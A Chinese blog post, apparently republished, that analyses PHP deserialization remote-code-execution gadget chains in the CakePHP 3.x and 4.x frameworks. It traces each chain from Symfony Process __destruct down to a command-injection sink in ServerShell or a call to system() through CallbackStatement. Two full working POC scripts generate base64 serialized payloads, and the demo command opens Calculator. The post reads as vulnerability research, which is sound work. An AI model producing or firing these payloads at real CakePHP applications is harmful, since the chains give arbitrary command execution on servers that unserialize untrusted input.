• CakePHP 3.x/4.x反序列化RCE链


    最近网上公开了cakephp一些反序列化链的细节,但是没有公开poc,并且网上关于cakephp的反序列化链比较少,于是自己跟一下 ,构造pop链。

    CakePHP简介

    CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。该项目主要目标是提供一个可以让各种层次的PHP开发人员快速地开发出健壮的Web应用,而又不失灵活性。

    3.x ≤ 3.9.6

    入口位于vendor\symfony\process\Process.php的__destruct方法

    在一些老版本中,__destruct方法是这样的:

    跟进stop方法:

    跟进isRunning方法:

    $this->status可控,可以继续进入updateStatus方法,让其等于"started"即可

    继续跟进readPipes方法:

    发现$this->processPipes可控且调用readAndWrite方法,这样就我们可以调用任意类的__call方法

    全局搜索,找到vendor\cakephp\cakephp\src\ORM\Table.php有合适的__call方法:

    这里的$this->_behaviors也可控,到这里我们就可以调用任意类的call方法了

    继续寻找,在vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php找到了合适的call方法:

    这里就可以调用任意类的任意方法了,但是参数不可控

    再来看看进入call_user_func_array的条件:

    这里的$method就是之前触发__callreadAndWrite方法

    跟进hasMethod方法,$this->_methodMap可控,所以可以使其返回true

    再来看看has方法,是在父类ObjectRegistry中定义的,$this->_loaded也可控

    所以条件成立,可以利用回调函数调用任意方法

    接下来找到不需要参数的合适方法:

    位于vendor\cakephp\cakephp\src\Shell\ServerShell.php的main方法

    执行的命令由可控参数$this->_host、$this->_port等拼接而成,我们可以利用分号进行命令注入

    但是由于前面的php -S命令,在windows下没有php环境变量可能无法利用

    在执行命令之前,还得先让两个$this->out方法正常返回,否则会报错退出

    一路跟进来到vendor\cakephp\cakephp\src\Console\ConsoleIo.php

    这里的$level为1,我们只需要让$this->_level小于1即可使其返回true

    到这里就可以执行系统命令了

    poc:

    1. namespace Cake\Core;
    2. abstract class ObjectRegistry
    3. {
    4. public $_loaded = [];
    5. }
    6. namespace Cake\ORM;
    7. class Table
    8. {
    9. public $_behaviors;
    10. }
    11. use Cake\Core\ObjectRegistry;
    12. class BehaviorRegistry extends ObjectRegistry
    13. {
    14. public $_methodMap = [];
    15. protected function _resolveClassName($class){}
    16. protected function _throwMissingClassError($class, $plugin){}
    17. protected function _create($class, $alias, $config){}
    18. }
    19. namespace Cake\Console;
    20. class Shell
    21. {
    22. public $_io;
    23. }
    24. class ConsoleIo
    25. {
    26. public $_level;
    27. }
    28. namespace Cake\Shell;
    29. use Cake\Console\Shell;
    30. class ServerShell extends Shell
    31. {
    32. public $_host;
    33. protected $_port = 0;
    34. protected $_documentRoot = "";
    35. protected $_iniPath = "";
    36. }
    37. namespace Symfony\Component\Process;
    38. use Cake\ORM\Table;
    39. class Process
    40. {
    41. public $processPipes;
    42. }
    43. $pop = new Process([]);
    44. $pop->status = "started";
    45. $pop->processPipes = new Table();
    46. $pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
    47. $pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["servershell","main"]];
    48. $a = new \Cake\Shell\ServerShell();
    49. $a->_io = new \Cake\Console\ConsoleIo();
    50. $a->_io->_level = 0;
    51. $a->_host = ";open /System/Applications/Calculator.app;";
    52. $pop->processPipes->_behaviors->_loaded = ["servershell"=>$a];
    53. echo base64_encode(serialize($pop));

    3.x某些版本、4.x ≤ 4.2.3

    4.x版本前半部分的整体思路和3.x基本一样,部分代码有变动

    4.x版本ServerShell类修改了,没有之前一样好用的方法了

    寻找新的调用链:

    vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php

    这里有动态调用,方法名可控,参数$row通过$this->_statement->fetch($type)获得

    于是寻找可用的fetch方法

    vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php有合适的方法:

    这里$this->buffer、$this->index、$this->_allFetched参数均可控,可以返回我们指定的$row

    于是可以达成任意方法执行,直接指定system执行系统命令

    poc:

    1. namespace Cake\Core;
    2. abstract class ObjectRegistry
    3. {
    4. public $_loaded = [];
    5. }
    6. namespace Cake\ORM;
    7. class Table
    8. {
    9. public $_behaviors;
    10. }
    11. use Cake\Core\ObjectRegistry;
    12. class BehaviorRegistry extends ObjectRegistry
    13. {
    14. public $_methodMap = [];
    15. protected function _resolveClassName(string $class): ?string{
    16. return $class;
    17. }
    18. protected function _throwMissingClassError(string $class, ?string $plugin): void{}
    19. protected function _create($class, $alias, $config){}
    20. }
    21. namespace Cake\Database\Statement;
    22. class StatementDecorator {
    23. public $_statement;
    24. }
    25. class CallbackStatement extends StatementDecorator
    26. {
    27. public $_callback;
    28. }
    29. class BufferedStatement
    30. {
    31. public $_allFetched;
    32. public $buffer = [];
    33. protected $index = 0;
    34. }
    35. namespace Symfony\Component\Process;
    36. use Cake\ORM\Table;
    37. class Process
    38. {
    39. public $processPipes;
    40. }
    41. $pop = new Process([]);
    42. $pop->status = "started";
    43. $pop->processPipes = new Table();
    44. $pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
    45. $pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["callbackstatement","fetch"]];
    46. $a = new \Cake\Database\Statement\CallbackStatement($statement, $driver,"");
    47. $a->_callback = "system";
    48. $a->_statement = new \Cake\Database\Statement\BufferedStatement($statement, $driver);
    49. $a->_statement->_allFetched = true;
    50. $a->_statement->buffer = ["open /System/Applications/Calculator.app"];
    51. $pop->processPipes->_behaviors->_loaded = ["callbackstatement"=>$a];
    52. echo base64_encode(serialize($pop));

  • 相关阅读:
    创建数据库
    [线性dp]Burenka and Traditions Codeforces1719D1&&D2
    845. 数组中的最长山脉
    docker常用软件安装
    数据结构刷题——图论
    实验27:红外遥控三级控速风扇实验
    数据库概论 - MySQL的简单介绍
    linux 服务管理工具 systemctl和 SElinux
    手机和电脑通过TCP传输(一)
    05-jenkins与SonarQube代码审查集成
  • 原文地址:https://blog.csdn.net/why811/article/details/133812903